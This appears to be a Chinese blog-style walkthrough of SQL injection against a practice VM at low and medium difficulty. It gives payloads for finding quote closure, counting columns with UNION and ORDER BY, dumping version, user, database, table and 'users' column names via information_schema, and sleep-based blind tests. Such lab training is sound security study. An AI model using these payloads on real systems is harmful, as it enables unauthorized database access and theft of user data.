环境

虚拟机 :VMFusion 11.5.0 专业版

使用VMFusion加载OAWAS靶机虚拟机文件。

low难度

SQL Injection_SQL Injection

 

 

 

判断是否存在注入点,主要分为显示(报错)注入和延时注入(盲注)。

输入参数1 ,页面正常有回显位,输入的内容在url中可见,说明是get类型传参,参数是id

 

 

 

 

 SQL Injection_SQL Injection_02

 

 

 查看闭合方式

1 and 1=2 不报错,正常显示,不是整型闭合。

SQL Injection_SQL Injection_03

 

 

 

1' and 1=2  报错 说明'语法错误

 

 

 

 SQL Injection_SQL Injection_04

 

 

1' and 1=2 -- 页面不显示内容,但是没有法语错误。可以得到闭合方式为'

 SQL Injection_SQL Injection_05

 

 

 

 

 

报错注入 页面返回错误信息

 

查看字段数

方法一:联合查询方式 select 使用数字代替字段循环判断直至不报错(mysql 5.0一下不支持)

1' union select 1 -- 

SQL Injection_SQL Injection_06

 

 

 

1' union select 1 ,2 -- 

SQL Injection_SQL Injection_07

 

 

方法二:使用order by 识别 与union相似

1' order by 3 -- 

SQL Injection_SQL Injection_08

 

 1' order by 2 -- 

SQL Injection_SQL Injection_09

 

 

得到字段数为:2

查询库、表、字段相关信息。数据库版本version(),当前用户user() ,当前数据库database()

1' union select user(),concat(version(),'  ',database())-- 

 

SQL Injection_SQL Injection_10

 

 

查询当前数据库的所有表;
' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() -- 

SQL Injection_SQL Injection_11

 

 

查询users表中的所有字段;
' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users' -- 

SQL Injection_SQL Injection_12

 

 

medium

查看闭合方式

尝试单引号闭合

1' and 1=2  -- 

SQL Injection_SQL Injection_13

 

 发现单引号被转义 ,整型闭合方式

知道了闭合方式后,其余步骤与low的一样。

 

盲注 

在判断注入的时候加入and sleep(5) -- ' 语句

判断字段 select 叠加数字

1' union select 1 and sleep(5) -- '    不显示网页加载状态

1' union select 1,2 and sleep(5) -- ' 显示网页加载状态 ,即可知道字段数为2个。